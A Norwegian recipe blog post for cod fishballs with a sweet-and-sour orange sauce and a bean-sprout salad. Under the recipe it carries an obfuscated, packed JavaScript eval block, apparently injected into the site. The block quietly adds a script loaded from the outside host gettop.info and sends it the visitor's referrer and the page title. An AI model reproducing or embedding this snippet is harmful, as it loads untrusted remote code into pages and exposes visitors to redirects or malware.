Fiskeboller Sweet & Sour

fiskeboller

Dagens beste, fiskeboller laget av torsk. Superenkelt å sette sammen og veldig god i smak. Til dette har jeg laget en likeså enkel sweet & sour saus. Serveres med en frisk og crunchy salat til. Alt fra bunnen av så klart:) Fremgangsmåten finner du nedenfor.

Ingredienser

6 pers

Fiskeboller

ca 1 kg torsk filet i små biter

3 skiver loff (skjær vekk kantene)

1 dl melk

1 egg

1 håndfull hakket bladpersille

1 klype tørket koriander

1 dash kajennpepper

mel

salt og pepper

Saus

2 appelsiner saften

1/2 dl soyasaus

1/2 dl hvitvinseddik

3-4 ss sukker

1 tsk ferskrevet ingefær

1 presset hvitløk

1 dl gulrotsaft

3 ss maizena mel (røres ut i lunket vann)

1/2 dl sesamfrø

Salat

2 pkt bønnespirer

1 pkt ruccola

1 agurk

1 rød chili

Dressing

6 ss hvitvinseddik

6 ss olivenolje

1 ss sukker

salt

Fremgangsmåte

Skjær av kantene på loffen og del i små biter. Legg over i en bolle med melk. Tilsett finhakket persille, presset hvitløk, kajennpepper, tørket koriander, salt og pepper. Rør godt og la det stå i ca 10 minutter.

Legg fiskebitene i en blender sammen med brød og melk, tilsett et egg, salt og pepper og blend til du får en myk og fin konsistens. Sett fiske blandingen kjølig mens du lager saus og salat. Lag små boller og vend i mel. Stek på middels varme.

Saus

Bland alle ingrediensene til sausen i en tykkbunnet kjele, kok opp. Tilsett maizena (rørt ut i lunket vann) og la det hele småkoke i ca 5 minutter. Tilsett sesamfrø helt til slutt og bland godt.

Salat

Lag strimler av paprika og agurk og bland med øvrige grønnsaker. Tilsett eddik, sukker, salt og olje, smak av. Vend alle delene godt.

fiskeboller

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Write a comment

Your email address will not be published. Required fields are marked *